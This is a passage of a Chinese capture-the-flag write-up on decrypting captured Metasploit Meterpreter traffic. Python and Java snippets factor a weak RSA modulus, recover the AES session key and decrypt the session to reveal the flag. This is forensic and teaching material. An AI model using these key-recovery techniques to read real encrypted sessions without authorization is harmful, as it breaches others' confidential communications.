│00000140│ 46 a7 57 5c 14 6d c2 81 ┊ d2 bc df 56 e6 1e ea 96 │F×W\•m××┊×××Vו××│
│00000150│ 28 90 73 e9 ca c0 f3 d6 ┊ ae 73 68 aa 38 76 a2 3d │(×s×××××┊×sh×8v×=│
│00000160│ 39 be 82 68 0c 7a 39 d0 ┊ c8 70 9b 71 fb ce 61 0c │9××h_z9×┊×p×q××a_│
│00000170│ 1f 96 4b 9b 71 ee 57 42 ┊ 98 49 e1 e8 e9 8f 02 03 │•×K×q×WB┊×I×××ו•│
│00000180│ 01 00 01 0a             ┊                         │•0•_    ┊        │ 
└────────┴─────────────────────────┴─────────────────────────┴────────┴────────┘

公钥的类型TLVType.TLV_TYPE_RSA_PUB_KEY的定义:

public static final int TLV_TYPE_RSA_PUB_KEY  = TLVPacket.TLV_META_TYPE_RAW  | 550;
public static final int TLV_META_TYPE_RAW = (1 << 18);

计算:

  python 
Python 2.7.16 (default, Oct 25 2019, 20:31:23) 
>>> hex( (1 << 18) | 550 )
'0x40226'

故看到解密后的数据包中:00 04 02 26,的确是公钥的类型,故后面的数据从30 8200 01,应该就是公钥数据,使用源码中的JAVA方法打印公钥信息:

import java.security.KeyFactory;
import java.security.PublicKey;
import java.security.spec.X509EncodedKeySpec;

class Test{
    public static PublicKey getPublicKey(byte[] der) {
        try{
            X509EncodedKeySpec spec = new X509EncodedKeySpec(der);
            return KeyFactory.getInstance("RSA").generatePublic(spec);
        }
        catch(Exception e){
            System.out.print(e);
            return null;
        }
    }
    public static void main(String[] args) {
        byte[] der = new byte[]{(byte)0x30,(byte)0x82,(byte)0x01,(byte)0x22,(byte)0x30,(byte)0x0d,(byte)0x06,(byte)0x09,(byte)0x2a,(byte)0x86,(byte)0x48,(byte)0x86,(byte)0xf7,(byte)0x0d,(byte)0x01,(byte)0x01,(byte)0x01,(byte)0x05,(byte)0x00,(byte)0x03,(byte)0x82,(byte)0x01,(byte)0x0f,(byte)0x00,(byte)0x30,(byte)0x82,(byte)0x01,(byte)0x0a,(byte)0x02,(byte)0x82,(byte)0x01,(byte)0x01,(byte)0x00,(byte)0x95,(byte)0x7d,(byte)0x4a,(byte)0xed,(byte)0x49,(byte)0xd0,(byte)0x7c,(byte)0x2d,(byte)0x12,(byte)0x5f,(byte)0x35,(byte)0xfd,(byte)0xef,(byte)0x88,(byte)0x1a,(byte)0xad,(byte)0x23,(byte)0x9f,(byte)0xc2,(byte)0xe1,(byte)0x67,(byte)0x60,(byte)0x16,(byte)0xb2,(byte)0x24,(byte)0x9a,(byte)0xa8,(byte)0x13,(byte)0x43,(byte)0x61,(byte)0xfa,(byte)0xe4,(byte)0x4c,(byte)0x12,(byte)0x89,(byte)0xcb,(byte)0xaa,(byte)0x32,(byte)0xa5,(byte)0xfa,(byte)0x8a,(byte)0x8f,(byte)0x89,(byte)0xf8,(byte)0x87,(byte)0x14,(byte)0xc0,(byte)0x90,(byte)0x17,(byte)0xe2,(byte)0xa6,(byte)0x0f,(byte)0x66,(byte)0x5e,(byte)0x24,(byte)0x7a,(byte)0xed,(byte)0xd3,(byte)0xb8,(byte)0x8c,(byte)0x2f,(byte)0x88,(byte)0xfd,(byte)0x21,(byte)0x5b,(byte)0x16,(byte)0x60,(byte)0x74,(byte)0xc3,(byte)0xa4,(byte)0x48,(byte)0x4c,(byte)0xee,(byte)0x50,(byte)0xde,(byte)0x01,(byte)0x47,(byte)0xcb,(byte)0x0c,(byte)0x60,(byte)0xcf,(byte)0x96,(byte)0xfd,(byte)0x28,(byte)0x88,(byte)0xc4,(byte)0x8b,(byte)0x1f,(byte)0x6b,(byte)0x20,(byte)0xbd,(byte)0x38,(byte)0x0d,(byte)0xe2,(byte)0x0f,(byte)0xde,(byte)0x90,(byte)0xe4,(byte)0xab,(byte)0x9c,(byte)0xca,(byte)0xe6,(byte)0xbb,(byte)0xe1,(byte)0x41,(byte)0x55,(byte)0xa7,(byte)0x7d,(byte)0x87,(byte)0x84,(byte)0x78,(byte)0x87,(byte)0x2d,(byte)0xbd,(byte)0xe8,(byte)0xa5,(byte)0x43,(byte)0xda,(byte)0xa1,(byte)0xa3,(byte)0xad,(byte)0x44,(byte)0xd2,(byte)0xcb,(byte)0x97,(byte)0xbb,(byte)0x22,(byte)0x67,(byte)0x04,(byte)0x7c,(byte)0x1e,(byte)0xe4,(byte)0x87,(byte)0xdf,(byte)0x34,(byte)0xc6,(byte)0xcd,(byte)0x61,(byte)0x48,(byte)0x86,(byte)0x7d,(byte)0xb4,(byte)0x90,(byte)0x58,(byte)0xb9,(byte)0x2a,(byte)0x71,(byte)0xda,(byte)0x42,(byte)0x99,(byte)0xf8,(byte)0x94,(byte)0x57,(byte)0x52,(byte)0xc9,(byte)0x59,(byte)0x2e,(byte)0x4c,(byte)0x2e,(byte)0x73,(byte)0x81,(byte)0x27,(byte)0x38,(byte)0xdf,(byte)0x1a,(byte)0x2f,(byte)0x97,(byte)0xc4,(byte)0xe6,(byte)0xdb,(byte)0x8c,(byte)0xb0,(byte)0xba,(byte)0x31,(byte)0xca,(byte)0xad,(byte)0xa1,(byte)0x41,(byte)0x11,(byte)0x87,(byte)0xe0,(byte)0xb5,(byte)0xda,(byte)0x4f,(byte)0x7c,(byte)0xf4,(byte)0x4a,(byte)0xb3,(byte)0x8d,(byte)0x58,(byte)0xb0,(byte)0x6e,(byte)0x31,(byte)0x0b,(byte)0x46,(byte)0xa7,(byte)0x57,(byte)0x5c,(byte)0x14,(byte)0x6d,(byte)0xc2,(byte)0x81,(byte)0xd2,(byte)0xbc,(byte)0xdf,(byte)0x56,(byte)0xe6,(byte)0x1e,(byte)0xea,(byte)0x96,(byte)0x28,(byte)0x90,(byte)0x73,(byte)0xe9,(byte)0xca,(byte)0xc0,(byte)0xf3,(byte)0xd6,(byte)0xae,(byte)0x73,(byte)0x68,(byte)0xaa,(byte)0x38,(byte)0x76,(byte)0xa2,(byte)0x3d,(byte)0x39,(byte)0xbe,(byte)0x82,(byte)0x68,(byte)0x0c,(byte)0x7a,(byte)0x39,(byte)0xd0,(byte)0xc8,(byte)0x70,(byte)0x9b,(byte)0x71,(byte)0xfb,(byte)0xce,(byte)0x61,(byte)0x0c,(byte)0x1f,(byte)0x96,(byte)0x4b,(byte)0x9b,(byte)0x71,(byte)0xee,(byte)0x57,(byte)0x42,(byte)0x98,(byte)0x49,(byte)0xe1,(byte)0xe8,(byte)0xe9,(byte)0x8f,(byte)0x02,(byte)0x03,(byte)0x01,(byte)0x00,(byte)0x01}; 
        System.out.print(getPublicKey(der));
    }
}

打印结果:

  javac Test.java && java Test
Sun RSA public key, 2048 bits
  params: null
  modulus: 18871291564770640664148800347584822680868182671984145797895532086883503360318700336495365612391409300072891881695207132365560715090292373627752017518973939673190928757510324236372389820855712170126905584127742104734451993179263410168242734908932738706692951170322096247098631087884988914459555236103979084499418787307984156821762918242074700255056333052043772599009922971042360003130449287658485508371082774995474587954191898774267366467484050606038502149717184445264754841832881405998441052692163667189562855971894479990818644527870185211990290040676461768277037843554385709513561157385466983474986006532925227067791
  public exponent: 65537

大数分解: http://www.factordb.com/

p = 39157
q = 481939156849877178132870249191327800415460394616138769514915138720624750627440823773408729279347480656661436823434050932542347858372509988705774638480321262435603564050114264023607268709444343798730893176896649506715325310398227907353544319251544773774623979628727845521838524092371451195432623441631868746314038034271883873171155048703289328984762189443618576474447045765568353120270942300443994901833204152398666597394894878930136794634013091044730243627376572394840126716369522843896137413289160742384831727964207676553838254408411911331059326319086287720638400376800717866883600821959470426104809013277963763

确定AES分组长度

在源码中可以看到:

java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Transport.java

public static final int ENC_AES256 = 1;
public static final int ENC_AES128 = 2;

java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVType.java

public static final int TLV_TYPE_SYM_KEY_TYPE = TLVPacket.TLV_META_TYPE_UINT   | 551;

java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVPacket.java

public static final int TLV_META_TYPE_UINT = (1 << 17);

java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_negotiate_tlv_encryption.java

if (Cipher.getMaxAllowedKeyLength("AES") < 256) {
            encType = Transport.ENC_AES128;
            aesKey = new byte[16];
        } else {
            encType = Transport.ENC_AES256;
            aesKey = new byte[32];
        }
}
response.add(TLVType.TLV_TYPE_ENC_SYM_KEY, cipher.doFinal(aesKey));
response.add(TLVType.TLV_TYPE_SYM_KEY_TYPE, encType);

所以可以看到在aes秘钥后面会拼上AES秘钥长度,故首先异或解密出aes秘钥的流量:

aeskey = "3a7be6af3a7be6af3a7be6af3a7be6af3a7be6af3a7be6af3a7be7f23a7be6ae3a7be6a33a79e6ae3a7be6bf3a7be6863a7ae6ad0a49d69d0c4edf96024ad3990248d09a0d48de9e0349d49d024fd69f084dd2983a7be6ae327be2ad13f84c14f9f7a0fa3b7351369b7312a3ef2fe3dba4efc933fc822b9ed895cc41cdaae88abb46f256c34e39478fe13e2b67899c74234839f2431d62afa4b490feda3eeab7836632efe83320b3c2f80f9ddec9ef5622fb226aef35223bbe38fa8f297829d57da42d1fd279083363d4fa43d257941065ecbf9fc4a241e96306982e4b7342d0bf2151a4f78e9bf291efd553e6210404d7f19f71b6591ed0c966b9b424bd45739ca2655787b3101fc0f2a0c9df2c6e187e9dc582b6f3b138d96896401524a7502bad619b411c36d8232a9912bdf8ee2cbff9165aa886e64af7d2b547e4e574494354dafeaf1e1894c4f2a433dc24ffd1341d7ec1973b57df15ec5384ca7be6af367be4ad1d7be6af3b7be6af367be4af3e7be6af3a"

def de(a):
    b = a.decode("hex")
    key = [ord(b[0]),ord(b[1]),ord(b[2]),ord(b[3])]
    c = ""
    for i in range(len(b)):
        c += chr( ord(b[i]) ^ (key[i%4]))
    print c
de(aeskey)

结果如下:

  python exp.py | hexyl
┌────────┬─────────────────────────┬─────────────────────────┬────────┬────────┐
00000000 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 0000000000000000
00000010 00 00 00 00 00 00 00 00  00 00 01 5d 00 00 00 01 0000000000]000•│
00000020 00 00 00 0c 00 02 00 01  00 00 00 10 00 00 00 29 000_00•┊000000)
00000030 00 01 00 02 30 32 30 32  36 35 39 39 38 31 35 36 00020265998156
00000040 38 33 36 35 37 33 38 31  39 32 32 32 38 34 30 30 8365738192228400
00000050 32 36 34 37 00 00 00 01  08 00 04 02 29 83 aa bb 2647000•┊•0••)×××│
00000060 c3 8c 46 55 01 08 b7 99  a1 08 f4 0c d5 54 05 74 │××FU••××┊ו×_×Tt
00000070 9e 94 2f 9c c6 f9 cd 31  e2 ee 2a ee f7 d1 0e 25 │××/××××1┊××*××ו%
00000080 81 3d 14 f9 f9 35 df e8  b5 9a d8 84 5d f2 7a db │×=•××5××┊××××]×z×│
00000090 19 33 df 5d 79 66 84 00  9e cf 76 51 e0 45 0c 18 │•3×]yf×0┊××vQ×E_•│
000000a0 b9 1d d4 40 d2 48 c6 1c  f8 83 e9 32 e4 b2 09 f9 │ו×@×Hו┊×××2××_×│
000000b0 18 80 c4 c5 d5 4e c4 94  84 43 1c 20 13 03 cf 7a │•××××N××┊×C ••×z
000000c0 47 df cb b0 e8 02 ee 9c  59 af 1c ec e8 2c 72 bf G×××ו××┊Yו××,r×│
000000d0 5f 97 59 30 fe d9 a7 46  59 7d 7e 81 71 08 a4 7f _×Y0×××FY}~×q•×•│
000000e0 85 5a b7 0b cd f5 7d 5d  ab 94 33 fc dc 5a e2 ab │×Zו××}]┊××3××Z××│
000000f0 ed 8a 79 de 8c 22 f8 7f  f3 1d 5f 1b 1e c6 a3 dc │××y××"ו┊ו_••×××│
│00000100│ a6 d9 83 f8 bd c8 f6 b0 ┊ fa 89 46 66 e5 57 88 b7 │××××××××┊××Ff×W××│
│00000110│ 44 e6 23 2d 8c 88 57 97 ┊ e3 13 70 ef 2f 5f 41 ff │D×#-××W×┊וp×/_A×│
│00000120│ 11 d6 87 34 7b 67 d0 77 ┊ 19 51 7f bd 87 83 08 83 │•××4{g×w┊•Q•××ו×│
│00000130│ 85 82 f0 f5 92 fd 00 e5 ┊ cd a9 53 e8 de 9e 92 e6 │××××××0×┊××S×××××│
│00000140│ 79 2f 3c 51 95 65 fe 3b ┊ fe 89 42 9c e6 5f 19 7e │y/<Q×e×;┊××B××_•~│
│00000150│ 0e 66 98 6e ad 40 b1 70 ┊ 2f 97 b5 2b f0 00 00 00 │•f×n×@×p┊/××+×000│
│00000160│ 0c 00 02 02 27 00 00 00 ┊ 01 00 00 00 0c 00 02 00 │_0••'000┊•000_0•0│
│00000170│ 04 00 00 00 00 0a       ┊                         │•0000_  ┊        │ 
└────────┴─────────────────────────┴─────────────────────────┴────────┴────────┘
  • 83 aa开始到2b f0是RSA公钥加密后的AES秘钥
  • 后面00 00 00 01为秘钥长度标识,即AES256,故分组长度为256bit,即32字节

疑问:我们可以看到加密后的AES秘钥为256字节,但是AES秘钥只有32字节,这是为什么呢?一会解答就有答案了!

私钥解密AES秘钥

现在手里有RSA的 p q n e,如何解密呢?我们先看一下加密的java代码:

PublicKey pubKey = getPublicKey(der);
Cipher cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
cipher.init(Cipher.ENCRYPT_MODE, pubKey);
response.add(TLVType.TLV_TYPE_ENC_SYM_KEY, cipher.doFinal(aesKey));

看起来如果用java的方法应该导出个私钥文件啥的,这事可难倒我了。我对密码算法仅仅是原理性的稍有了解,而却对于加解密的代码控制,还欠缺很远,对库、各种参数的形式非常迷糊。比如我到底应该用什么形式表示这些密文,秘钥啥的?是可见的hex字符串?还是含有不可见字符的原始数据?还是base64编码后的字符串?还是0x表示的大数?所以解密的AES秘钥的工作我就直接交给队友了,以下两种方法再次感谢楚涵gml

直接解密

首先想到的是直接用RSA的数学方法解密:

from Crypto.Util.number import long_to_bytes
import gmpy2

p = 481939156849877178132870249191327800415460394616138769514915138720624750627440823773408729279347480656661436823434050932542347858372509988705774638480321262435603564050114264023607268709444343798730893176896649506715325310398227907353544319251544773774623979628727845521838524092371451195432623441631868746314038034271883873171155048703289328984762189443618576474447045765568353120270942300443994901833204152398666597394894878930136794634013091044730243627376572394840126716369522843896137413289160742384831727964207676553838254408411911331059326319086287720638400376800717866883600821959470426104809013277963763
q = 39157
e = 65537
n = p*q

c = 0x83aabbc38c46550108b799a108f40cd55405749e942f9cc6f9cd31e2ee2aeef7d10e25813d14f9f935dfe8b59ad8845df27adb1933df5d796684009ecf7651e0450c18b91dd440d248c61cf883e932e4b209f91880c4c5d54ec49484431c201303cf7a47dfcbb0e802ee9c59af1cece82c72bf5f975930fed9a746597d7e817108a47f855ab70bcdf57d5dab9433fcdc5ae2abed8a79de8c22f87ff31d5f1b1ec6a3dca6d983f8bdc8f6b0fa894666e55788b744e6232d8c885797e31370ef2f5f41ff11d687347b67d07719517fbd878308838582f0f592fd00e5cda953e8de9e92e6792f3c519565fe3bfe89429ce65f197e0e66986ead40b1702f97b52bf0

m = pow(c,gmpy2.invert(e,(p-1)*(q-1)),n)
print(long_to_bytes(m))

但是这种方法解密数据出来有255字节,最后的0a是程序输出的换行:

  python exp.py | hexyl 
┌────────┬─────────────────────────┬─────────────────────────┬────────┬────────┐
00000000 02 1a 5a a1 ae cc 6d 74  89 93 93 71 83 c6 b7 4c │••Z×××mt┊×××q×××L
00000010 83 57 1e e6 a3 de 83 51  5f 8e 50 df ac 6d b2 d9 │×W•××××Q_×P××m××│
00000020 28 2e 57 b6 c5 60 b8 c0  21 b8 58 80 69 65 73 a9 (.W××`××┊!×X×ies×│
00000030 4c e3 a2 bb a9 22 92 42  33 fa 04 0a 2e fc c1 98 L××××"×B┊3ו_.×××│
│00000040│ 3f fe 4a 16 29 ed d6 2b ┊ 29 f9 c7 22 30 94 33 66 │?×J•)××+┊)××"0×3f
00000050 85 b3 24 ef 03 95 41 3e  af ca fc ff 7f c9 c3 f3 │××$ו×A>┊×××ו×××│
00000060 03 7a 33 01 67 ac 01 1f  cb 9a e3 7f 7d 6d 44 98 │•z3gו•┊××ו}mD×│
00000070 43 26 17 61 05 e5 e1 cb  d2 d8 5d c6 c0 6c b5 5a C&a•×××┊××]××l×Z
00000080 2e cb 65 8e 9d ae 04 fc  a9 41 32 d2 9f 35 45 1d .×e××ו×┊×A2××5E•│
00000090 f6 bc 36 f7 66 2c 36 ef  ed 17 8b 02 31 6c fd 95 │××6×f,6×┊וו1l××│
000000a0 fe 0e 1c 91 bc fa 39 48  29 6d e8 b1 30 ca 0c 63 │ו•×××9H)m××0×_c
000000b0 73 25 98 e0 98 c9 ef 5e  56 3f 5e d9 f3 3f 31 f5 s%×××××^V?^××?1×│
000000c0 07 1a 6b 75 b0 fa da bb  83 c7 02 7a 18 3c c2 e0 │••ku××××┊×וz<××│
000000d0 cc 71 ca 4e 57 f6 68 fa  10 e0 e9 5d 2b dc 00 bd │×q×NW×h×┊•××]+×0×│
000000e0 54 1a 3c c9 5e 56 c7 8c  a1 ce b9 05 f3 54 d8 ae T<×^V××┊××ו×T××│
000000f0 61 ab 9b 89 50 4a f9 e5  3b fa 84 bb 59 e3 02 0a a×××PJ××┊;×××Yו_
└────────┴─────────────────────────┴─────────────────────────┴────────┴────────┘

最开始以为开头的前32字节是AES秘钥,但使用此秘钥发现解密失败,想到了问题是padding,这也就是上面问题的答案。因为padding,所以AES秘钥加密后变长了。所以现在的问题是:JAVA里的RSA/ECB/PKCS1Padding"是怎么padding的?如果想回避这个问题,就想办法导出秘钥直接用相应的JAVA方法解密。我们不回避这个问题:

所以00后就是被加密的明文数据,即AES秘钥:

bd541a3cc95e56c78ca1ceb905f354d8ae61ab9b89504af9e53bfa84bb59e302

导出私钥文件

使用p q e即可导出私钥文件:

from Crypto.PublicKey import RSA
import gmpy2

p = 481939156849877178132870249191327800415460394616138769514915138720624750627440823773408729279347480656661436823434050932542347858372509988705774638480321262435603564050114264023607268709444343798730893176896649506715325310398227907353544319251544773774623979628727845521838524092371451195432623441631868746314038034271883873171155048703289328984762189443618576474447045765568353120270942300443994901833204152398666597394894878930136794634013091044730243627376572394840126716369522843896137413289160742384831727964207676553838254408411911331059326319086287720638400376800717866883600821959470426104809013277963763
q = 39157
e = 65537
n = p*q

priv = RSA.construct((n, long(e), long(gmpy2.invert(e, (p - 1) * (q - 1)))))
open('private.pem', 'w').write(priv.exportKey())

然后即可在python里用PKCS1_v1_5解密,没有把俩脚本合一块是因为本以为想用私钥文件和JAVA的API去解密。

from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
from Crypto.PublicKey import RSA

priv=RSA.importKey(open('private.pem').read())
cipher = Cipher_pkcs1_v1_5.new(priv)
a = "83aabbc38c46550108b799a108f40cd55405749e942f9cc6f9cd31e2ee2aeef7d10e25813d14f9f935dfe8b59ad8845df27adb1933df5d796684009ecf7651e0450c18b91dd440d248c61cf883e932e4b209f91880c4c5d54ec49484431c201303cf7a47dfcbb0e802ee9c59af1cece82c72bf5f975930fed9a746597d7e817108a47f855ab70bcdf57d5dab9433fcdc5ae2abed8a79de8c22f87ff31d5f1b1ec6a3dca6d983f8bdc8f6b0fa894666e55788b744e6232d8c885797e31370ef2f5f41ff11d687347b67d07719517fbd878308838582f0f592fd00e5cda953e8de9e92e6792f3c519565fe3bfe89429ce65f197e0e66986ead40b1702f97b52bf0".decode("hex")
key = cipher.decrypt(a,"")
print key.encode("hex")

输出一样是:

bd541a3cc95e56c78ca1ceb905f354d8ae61ab9b89504af9e53bfa84bb59e302

故我们成功的拿到了AES的秘钥,之后就可以去解密通信了

AES解密通信数据

首先解密一下物料里的第三个数据包,XOR异或完去掉32字节的头:

from Crypto.Cipher import AES

def aes_decrypt(data):
    key = "bd541a3cc95e56c78ca1ceb905f354d8ae61ab9b89504af9e53bfa84bb59e302".decode("hex")
    iv = data[:16]
    cryptor = AES.new(key, AES.MODE_CBC, iv)
    return cryptor.decrypt(data)

def xor_decrypt(a):
    b = a.decode("hex")
    key = [ord(b[0]),ord(b[1]),ord(b[2]),ord(b[3])]
    c = ""
    for i in range(len(b)):
        c += chr( ord(b[i]) ^ (key[i%4]))
    return c[0x20:]

a = "92f376fa92f376fa92f376fa92f376fa92f376fa92f376fb92f376a292f376fa42552a9a7d2350477b95164232f954a3d8d2b877a46552cabe891242c98cc55581419367f80d0873eb1bb5404e4a240569671018636fdee80bfd602b162b6614e0026c437b8e161e2a430207e8ed6dab"
print aes_decrypt(xor_decrypt(a))

可见成功解密出明文数据:

  python exp.py | hexyl 
┌────────┬─────────────────────────┬─────────────────────────┬────────┬────────┐
00000000 53 8b 6f c5 37 90 5b 15  2e e4 d4 da 1b 97 3f e0 S×o×7×[•┊.××ו×?×│
00000010 00 00 00 0c 00 02 00 01  00 00 00 0d 00 00 00 29 000_00•┊000_000)
00000020 00 01 00 02 39 35 35 36  31 33 33 34 34 34 36 30 00955613344460
00000030 38 34 34 36 39 38 31 33  39 36 32 31 39 30 38 31 8446981396219081
00000040 30 37 37 30 00 0b 0b 0b  0b 0b 0b 0b 0b 0b 0b 0b 07700•••┊••••••••│
00000050 0a                                               _                
└────────┴─────────────────────────┴─────────────────────────┴────────┴────────┘

然后解密全部数据包,最终发现流量:

比赛时没有快速的找到这个流量,因为在解密里的流量还存在着jpg和apk,以为还套了其他的东西,卡了两个小时…

from Crypto.Cipher import AES

def aes_decrypt(data):
    key = "bd541a3cc95e56c78ca1ceb905f354d8ae61ab9b89504af9e53bfa84bb59e302".decode("hex")
    iv = data[:16]
    cryptor = AES.new(key, AES.MODE_CBC, iv)
    return cryptor.decrypt(data)

def xor_decrypt(a):
    b = a.decode("hex")
    key = [ord(b[0]),ord(b[1]),ord(b[2]),ord(b[3])]
    c = ""
    for i in range(len(b)):
        c += chr( ord(b[i]) ^ (key[i%4]))
    return c[0x20:]

a = "0b3edb603af6a39a6873983b9199917e34d645f80b3edb610b3edbb80b3edb6103192fadf46f7d96a7076ce33205c8a2bcede8f6fdc0abffdc7d9f6e5d55958201e8fab2d7023c8c6614344b098ce28d299240a522f12296be37ab636b1df56a02c1060f9194c218eff94f43a8ada1fc88e304be1ee3b2570dc55a10be014f3e7f922db337aca8267739be3583d34db3aa4a20d5682b73ea5912b913e4f3d25a970f962fee1d36799a7f5d5aa1640b90e6f6dba4f0f4ddae411020625c22da11ccdffc221774c9cfce132edec450a94d0621e1facbe20de2cf3e9b5091f8bcf7f99ef28e43d6a8bef477084812a1399c"
print aes_decrypt(xor_decrypt(a))

成功解出flag:ByteCTF{K1ng_0f_Pc4p}

  kop python exp.py | hexyl 
┌────────┬─────────────────────────┬─────────────────────────┬────────┬────────┐
00000000 e2 97 ac 50 e5 be 67 15  bc 27 90 cb 95 16 87 2f │×××P××g•┊×'××ו×/│
│00000010│ 00 00 00 0c 00 02 00 01 ┊ 00 00 13 8d 00 00 00 29 │000_0•0•┊00•×000)│
│00000020│ 00 01 00 02 39 33 38 38 ┊ 38 37 35 32 31 35 34 30 │0•0•9388┊87521540│
│00000030│ 35 30 36 39 36 35 30 37 ┊ 33 33 34 33 34 36 38 34 │50696507┊33434684│
│00000040│ 36 30 36 39 00 00 00 00 ┊ 0c 00 02 00 04 00 00 00 │60690000┊_0•0•000│
│00000050│ 00 00 00 00 18 00 04 01 ┊ cd c1 b8 f2 6a 5b 3d 05 │0000•0••┊××××j[=•│
│00000060│ a0 14 b8 17 ab 4b 70 ec ┊ 8a 00 00 00 5d 40 00 71 │וו×Kp×┊×000]@0q│
│00000070│ 4f 00 00 00 25 00 01 71 ┊ 52 43 61 70 74 75 72 65 │O000%0•q┊RCapture│
│00000080│ 20 54 68 65 20 46 6c 61 ┊ 67 20 42 79 74 65 20 64 │ The Fla┊g Byte d│
│00000090│ 61 6e 63 65 72 00 00 00 ┊ 00 12 00 01 71 50 32 30 │ancer000┊0•0•qP20│
│000000a0│ 32 30 20 31 32 31 32 00 ┊ 00 00 00 1e 00 01 71 51 │20 12120┊000•0•qQ│
│000000b0│ 42 79 74 65 43 54 46 7b ┊ 4b 31 6e 67 5f 30 66 5f │ByteCTF{┊K1ng_0f_│
│000000c0│ 50 63 34 70 7d 00 0a 0a ┊ 0a 0a 0a 0a 0a 0a 0a 0a │Pc4p}0__┊________│
│000000d0│ 0a                      ┊                         │_       ┊        │ 
└────────┴─────────────────────────┴─────────────────────────┴────────┴────────┘